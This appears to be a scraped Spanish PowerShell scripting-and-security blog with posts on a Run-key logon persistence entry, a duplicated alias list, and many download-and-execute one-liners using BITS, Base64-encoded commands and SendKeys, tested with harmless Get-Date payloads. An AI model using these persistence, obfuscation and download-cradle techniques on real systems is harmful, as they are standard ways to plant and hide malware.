Set-Location | Scripting and security

Crear una entrada del Registro desde PowerShell que permita ejecutar siempre un programa al iniciar la sesión de un usuario

03/10/201724/09/2017

Set-Location Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

Get-Item -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

#Arrancar PowerShell al iniciar sesión del usuario
New-ItemProperty -Path . -Name powershell -PropertyType String -Value "powershell.exe"

Get-Item -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

Set-Location Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

Get-Item -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

#Arrancar PowerShell al iniciar sesión del usuario

New-ItemProperty -Path . -Name powershell -PropertyType String -Value "powershell.exe"

Get-Item -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\run

PowerShell

Windows PowerShell aliases

03/08/201707/08/2017

Alias           % -> ForEach-Object                                                   
Alias           ? -> Where-Object                                                     
Alias           ac -> Add-Content                                                     
Alias           asnp -> Add-PSSnapin                                                  
Alias           cat -> Get-Content                                                    
Alias           cd -> Set-Location                                                    
Alias           CFS -> ConvertFrom-String
Alias           chdir -> Set-Location                                                 
Alias           clc -> Clear-Content                                                  
Alias           clear -> Clear-Host                                                   
Alias           clhy -> Clear-History                                                 
Alias           cli -> Clear-Item                                                     
Alias           clp -> Clear-ItemProperty                                             
Alias           cls -> Clear-Host                                                     
Alias           clv -> Clear-Variable                                                 
Alias           cnsn -> Connect-PSSession                                             
Alias           compare -> Compare-Object                                             
Alias           copy -> Copy-Item                                                     
Alias           cp -> Copy-Item                                                       
Alias           cpi -> Copy-Item                                                      
Alias           cpp -> Copy-ItemProperty                                              
Alias           curl -> Invoke-WebRequest                                             
Alias           cvpa -> Convert-Path                                                  
Alias           dbp -> Disable-PSBreakpoint                                           
Alias           del -> Remove-Item                                                    
Alias           diff -> Compare-Object                                                
Alias           dir -> Get-ChildItem                                                  
Alias           dnsn -> Disconnect-PSSession                                          
Alias           ebp -> Enable-PSBreakpoint                                            
Alias           echo -> Write-Output                                                  
Alias           epal -> Export-Alias                                                  
Alias           epcsv -> Export-Csv                                                   
Alias           epsn -> Export-PSSession                                              
Alias           erase -> Remove-Item                                                  
Alias           etsn -> Enter-PSSession                                               
Alias           exsn -> Exit-PSSession                                                
Alias           fc -> Format-Custom                                                   
Alias           fhx -> Format-Hex
Alias           fl -> Format-List                                                     
Alias           foreach -> ForEach-Object                                             
Alias           ft -> Format-Table                                                    
Alias           fw -> Format-Wide                                                     
Alias           gal -> Get-Alias                                                      
Alias           gbp -> Get-PSBreakpoint                                               
Alias           gc -> Get-Content                                                     
Alias           gci -> Get-ChildItem                                                  
Alias           gcm -> Get-Command                                                    
Alias           gcs -> Get-PSCallStack                                                
Alias           gdr -> Get-PSDrive                                                    
Alias           ghy -> Get-History                                                    
Alias           gi -> Get-Item                                                        
Alias           gjb -> Get-Job                                                        
Alias           gl -> Get-Location                                                    
Alias           gm -> Get-Member                                                      
Alias           gmo -> Get-Module                                                     
Alias           gp -> Get-ItemProperty                                                
Alias           gps -> Get-Process                                                    
Alias           gpv -> Get-ItemPropertyValue                                          
Alias           group -> Group-Object                                                 
Alias           gsn -> Get-PSSession                                                  
Alias           gsnp -> Get-PSSnapin                                                  
Alias           gsv -> Get-Service                                                    
Alias           gu -> Get-Unique                                                      
Alias           gv -> Get-Variable                                                    
Alias           gwmi -> Get-WmiObject                                                 
Alias           h -> Get-History                                                      
Alias           history -> Get-History                                                
Alias           icm -> Invoke-Command                                                 
Alias           iex -> Invoke-Expression                                              
Alias           ihy -> Invoke-History                                                 
Alias           ii -> Invoke-Item                                                     
Alias           ipal -> Import-Alias                                                  
Alias           ipcsv -> Import-Csv                                                   
Alias           ipmo -> Import-Module                                                 
Alias           ipsn -> Import-PSSession                                              
Alias           irm -> Invoke-RestMethod                                              
Alias           ise -> powershell_ise.exe                                             
Alias           iwmi -> Invoke-WMIMethod                                              
Alias           iwr -> Invoke-WebRequest                                              
Alias           kill -> Stop-Process                                                  
Alias           lp -> Out-Printer                                                     
Alias           ls -> Get-ChildItem                                                   
Alias           man -> help                                                           
Alias           md -> mkdir                                                           
Alias           measure -> Measure-Object                                             
Alias           mi -> Move-Item                                                       
Alias           mount -> New-PSDrive                                                  
Alias           move -> Move-Item                                                     
Alias           mp -> Move-ItemProperty                                               
Alias           mv -> Move-Item                                                       
Alias           nal -> New-Alias                                                      
Alias           ndr -> New-PSDrive                                                    
Alias           ni -> New-Item                                                        
Alias           nmo -> New-Module                                                     
Alias           npssc -> New-PSSessionConfigurationFile                               
Alias           nsn -> New-PSSession                                                  
Alias           nv -> New-Variable                                                    
Alias           ogv -> Out-GridView                                                   
Alias           oh -> Out-Host                                                        
Alias           popd -> Pop-Location                                                  
Alias           ps -> Get-Process                                                     
Alias           pushd -> Push-Location                                                
Alias           pwd -> Get-Location                                                   
Alias           r -> Invoke-History                                                   
Alias           rbp -> Remove-PSBreakpoint                                            
Alias           rcjb -> Receive-Job                                                   
Alias           rcsn -> Receive-PSSession                                             
Alias           rd -> Remove-Item                                                     
Alias           rdr -> Remove-PSDrive                                                 
Alias           ren -> Rename-Item                                                    
Alias           ri -> Remove-Item                                                     
Alias           rjb -> Remove-Job                                                     
Alias           rm -> Remove-Item                                                     
Alias           rmdir -> Remove-Item                                                  
Alias           rmo -> Remove-Module                                                  
Alias           rni -> Rename-Item                                                    
Alias           rnp -> Rename-ItemProperty                                            
Alias           rp -> Remove-ItemProperty                                             
Alias           rsn -> Remove-PSSession                                               
Alias           rsnp -> Remove-PSSnapin                                               
Alias           rujb -> Resume-Job                                                    
Alias           rv -> Remove-Variable                                                 
Alias           rvpa -> Resolve-Path                                                  
Alias           rwmi -> Remove-WMIObject                                              
Alias           sajb -> Start-Job                                                     
Alias           sal -> Set-Alias                                                      
Alias           saps -> Start-Process                                                 
Alias           sasv -> Start-Service                                                 
Alias           sbp -> Set-PSBreakpoint                                               
Alias           sc -> Set-Content                                                     
Alias           select -> Select-Object                                               
Alias           set -> Set-Variable                                                   
Alias           shcm -> Show-Command                                                  
Alias           si -> Set-Item                                                        
Alias           sl -> Set-Location                                                    
Alias           sleep -> Start-Sleep                                                  
Alias           sls -> Select-String                                                  
Alias           sort -> Sort-Object                                                   
Alias           sp -> Set-ItemProperty                                                
Alias           spjb -> Stop-Job                                                      
Alias           spps -> Stop-Process                                                  
Alias           spsv -> Stop-Service                                                  
Alias           start -> Start-Process                                                
Alias           sujb -> Suspend-Job                                                   
Alias           sv -> Set-Variable                                                    
Alias           swmi -> Set-WMIInstance                                               
Alias           tee -> Tee-Object                                                     
Alias           trcm -> Trace-Command                                                 
Alias           type -> Get-Content                                                   
Alias           wget -> Invoke-WebRequest                                             
Alias           where -> Where-Object                                                 
Alias           wjb -> Wait-Job                                                       
Alias           write -> Write-Output

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

Alias % -> ForEach-Object

Alias ? -> Where-Object

Alias ac -> Add-Content

Alias asnp -> Add-PSSnapin

Alias cat -> Get-Content

Alias cd -> Set-Location

Alias CFS -> ConvertFrom-String

Alias chdir -> Set-Location

Alias clc -> Clear-Content

Alias clear -> Clear-Host

Alias clhy -> Clear-History

Alias cli -> Clear-Item

Alias clp -> Clear-ItemProperty

Alias cls -> Clear-Host

Alias clv -> Clear-Variable

Alias cnsn -> Connect-PSSession

Alias compare -> Compare-Object

Alias copy -> Copy-Item

Alias cp -> Copy-Item

Alias cpi -> Copy-Item

Alias cpp -> Copy-ItemProperty

Alias curl -> Invoke-WebRequest

Alias cvpa -> Convert-Path

Alias dbp -> Disable-PSBreakpoint

Alias del -> Remove-Item

Alias diff -> Compare-Object

Alias dir -> Get-ChildItem

Alias dnsn -> Disconnect-PSSession

Alias ebp -> Enable-PSBreakpoint

Alias echo -> Write-Output

Alias epal -> Export-Alias

Alias epcsv -> Export-Csv

Alias epsn -> Export-PSSession

Alias erase -> Remove-Item

Alias etsn -> Enter-PSSession

Alias exsn -> Exit-PSSession

Alias fc -> Format-Custom

Alias fhx -> Format-Hex

Alias fl -> Format-List

Alias foreach -> ForEach-Object

Alias ft -> Format-Table

Alias fw -> Format-Wide

Alias gal -> Get-Alias

Alias gbp -> Get-PSBreakpoint

Alias gc -> Get-Content

Alias gci -> Get-ChildItem

Alias gcm -> Get-Command

Alias gcs -> Get-PSCallStack

Alias gdr -> Get-PSDrive

Alias ghy -> Get-History

Alias gi -> Get-Item

Alias gjb -> Get-Job

Alias gl -> Get-Location

Alias gm -> Get-Member

Alias gmo -> Get-Module

Alias gp -> Get-ItemProperty

Alias gps -> Get-Process

Alias gpv -> Get-ItemPropertyValue

Alias group -> Group-Object

Alias gsn -> Get-PSSession

Alias gsnp -> Get-PSSnapin

Alias gsv -> Get-Service

Alias gu -> Get-Unique

Alias gv -> Get-Variable

Alias gwmi -> Get-WmiObject

Alias h -> Get-History

Alias history -> Get-History

Alias icm -> Invoke-Command

Alias iex -> Invoke-Expression

Alias ihy -> Invoke-History

Alias ii -> Invoke-Item

Alias ipal -> Import-Alias

Alias ipcsv -> Import-Csv

Alias ipmo -> Import-Module

Alias ipsn -> Import-PSSession

Alias irm -> Invoke-RestMethod

Alias ise -> powershell_ise.exe

Alias iwmi -> Invoke-WMIMethod

Alias iwr -> Invoke-WebRequest

Alias kill -> Stop-Process

Alias lp -> Out-Printer

Alias ls -> Get-ChildItem

Alias man -> help

Alias md -> mkdir

Alias measure -> Measure-Object

Alias mi -> Move-Item

Alias mount -> New-PSDrive

Alias move -> Move-Item

Alias mp -> Move-ItemProperty

Alias mv -> Move-Item

Alias nal -> New-Alias

Alias ndr -> New-PSDrive

Alias ni -> New-Item

Alias nmo -> New-Module

Alias npssc -> New-PSSessionConfigurationFile

Alias nsn -> New-PSSession

Alias nv -> New-Variable

Alias ogv -> Out-GridView

Alias oh -> Out-Host

Alias popd -> Pop-Location

Alias ps -> Get-Process

Alias pushd -> Push-Location

Alias pwd -> Get-Location

Alias r -> Invoke-History

Alias rbp -> Remove-PSBreakpoint

Alias rcjb -> Receive-Job

Alias rcsn -> Receive-PSSession

Alias rd -> Remove-Item

Alias rdr -> Remove-PSDrive

Alias ren -> Rename-Item

Alias ri -> Remove-Item

Alias rjb -> Remove-Job

Alias rm -> Remove-Item

Alias rmdir -> Remove-Item

Alias rmo -> Remove-Module

Alias rni -> Rename-Item

Alias rnp -> Rename-ItemProperty

Alias rp -> Remove-ItemProperty

Alias rsn -> Remove-PSSession

Alias rsnp -> Remove-PSSnapin

Alias rujb -> Resume-Job

Alias rv -> Remove-Variable

Alias rvpa -> Resolve-Path

Alias rwmi -> Remove-WMIObject

Alias sajb -> Start-Job

Alias sal -> Set-Alias

Alias saps -> Start-Process

Alias sasv -> Start-Service

Alias sbp -> Set-PSBreakpoint

Alias sc -> Set-Content

Alias select -> Select-Object

Alias set -> Set-Variable

Alias shcm -> Show-Command

Alias si -> Set-Item

Alias sl -> Set-Location

Alias sleep -> Start-Sleep

Alias sls -> Select-String

Alias sort -> Sort-Object

Alias sp -> Set-ItemProperty

Alias spjb -> Stop-Job

Alias spps -> Stop-Process

Alias spsv -> Stop-Service

Alias start -> Start-Process

Alias sujb -> Suspend-Job

Alias sv -> Set-Variable

Alias swmi -> Set-WMIInstance

Alias tee -> Tee-Object

Alias trcm -> Trace-Command

Alias type -> Get-Content

Alias wget -> Invoke-WebRequest

Alias where -> Where-Object

Alias wjb -> Wait-Job

Alias write -> Write-Output

PowerShell

4. Gestión del sistema de archivos en PowerShell (nivel intermedio)

04/07/201721/04/2019

La memoria que maneja el sistema operativo tiene limitaciones importantes, dos de ellas son la escasa cantidad de información que se puede almacenar en un espacio de direcciones, la otra es la volatilidad de los datos. La solución a este problema es almacenar la información en dispositivos de almacenamiento no volátil como son los discos duros, discos ópticos, etc. El almacenamiento de la información se lleva a cabo mediante archivos (también llamados ficheros). Un archivo se define como conjunto de datos almacenados en un dispositivo de almacenamiento, un ejemplo es una imagen fotográfica que consiste en un conjunto de bits […]

PowerShell Security

Formas de descargar y ejecutar ficheros desde un servidor en PowerShell

15/11/201630/09/2017

#Descargar y ejecutar un fichero .exe
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/app.exe'
.\app.exe

#Descargar y ejecutar un fichero .txt
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.txt'
.\script.ps1

#Descargar y ejecutar un fichero .ps1
Set-Location $env:TEMP
Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.ps1'
.\script.ps1

#Descargar un fichero .txt, renombrar a .ps1 y ejecutar
Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1
powershell -File $env:TEMP\config.ps1

#Descargar y ejecutar un fichero .txt con cmdlets
Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'
powershell (Get-Content $env:TEMP\config.txt)

#Ejecutar código en Base64
$command="Get-Date"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code

#Descargar un fichero mediante un cmdlet en Base64
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
Get-Content $env:TEMP\config2.txt

#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
powershell (Get-Content $env:TEMP\config2.txt)

#Ejecutar un cmdlet en Base64
$command="Get-Date"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code

#Ejecutar un fichero cuyo contenido está en Base64
#$command="Get-Date"
$code="RwBlAHQALQBEAGEAdABlAA=="
powershell -encodedcommand $code

#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
$code2=Get-Content $env:TEMP\config2.txt
powershell -encodedcommand $code2

#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (versión optimizada)
$command="Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config2.txt"
$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell -encodedcommand $code
#Contenido del fichero config2.txt
#$command="Get-Date"
#$code="RwBlAHQALQBEAGEAdABlAA=="
powershell -encodedcommand (Get-Content $env:TEMP\config2.txt)

#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (versión optimizada y en una línea)
$command="Start-BitsTransfer -Source https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt -Destination $env:TEMP\config2.txt";$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command));powershell -encodedcommand $code;powershell -encodedcommand (Get-Content $env:TEMP\config2.txt)

#Descargar un fichero mediante un cmdlet en Base64 y ejecutar el contenido del fichero cuyo contenido está en Base64 (realizar todas las operaciones en Base64)
$codefor64='$command="Start-BitsTransfer -Source https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt -Destination $env:TEMP\config2.txt";$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command));powershell -encodedcommand $code;$codefar=Get-Content $env:TEMP\config2.txt;powershell -encodedcommand $codefar'
$codebase64=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codefor64))
powershell -encodedcommand $codebase64

#Abrir PowerShell ISE y ejecutar un cmdlet
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait("Get-Date")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

#Abrir PowerShell ISE y ejecutar un cmdlet en Base64
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait("powershell -encodedcommand RwBlAHQALQBEAGEAdABlAA==")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

#Abrir PowerShell ISE y ejecutar un cmdlet guardado en un fichero
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait('$coman=Get-Content $env:TEMP\config2.txt;powershell $coman')
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

#Abrir PowerShell ISE y ejecutar un cmdlet copiado en el Portapapeles
Start-Process powershell_ise
Start-Sleep -Seconds 5
$copy='$coman=Get-Content $env:TEMP\config2.txt;powershell $coman'
Set-Clipboard $copy
[System.Windows.Forms.SendKeys]::SendWait("^(v)")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

#Abrir PowerShell ISE y ejecutar un cmdlet guardado en un fichero cuyo contenido está en Base64
Start-Process powershell_ise
Start-Sleep -Seconds 5
[System.Windows.Forms.SendKeys]::SendWait('$coman=Get-Content $env:TEMP\config2.txt;powershell -encodedcommand $coman')
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

100

101

102

103

104

105

#Descargar y ejecutar un fichero .exe

Set-Location $env:TEMP

Start-BitsTransfer -Source 'https://www.jesusninoc.com/app.exe'

.\app.exe

#Descargar y ejecutar un fichero .txt

Set-Location $env:TEMP

Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.txt'

.\script.ps1

#Descargar y ejecutar un fichero .ps1

Set-Location $env:TEMP

Start-BitsTransfer -Source 'https://www.jesusninoc.com/script.ps1'

.\script.ps1

#Descargar un fichero .txt, renombrar a .ps1 y ejecutar

Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt' -Destination $env:TEMP\config.ps1

powershell -File $env:TEMP\config.ps1

#Descargar y ejecutar un fichero .txt con cmdlets

Start-BitsTransfer -Source 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt'

powershell (Get-Content $env:TEMP\config.txt)

#Ejecutar código en Base64

$command="Get-Date"

$code=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))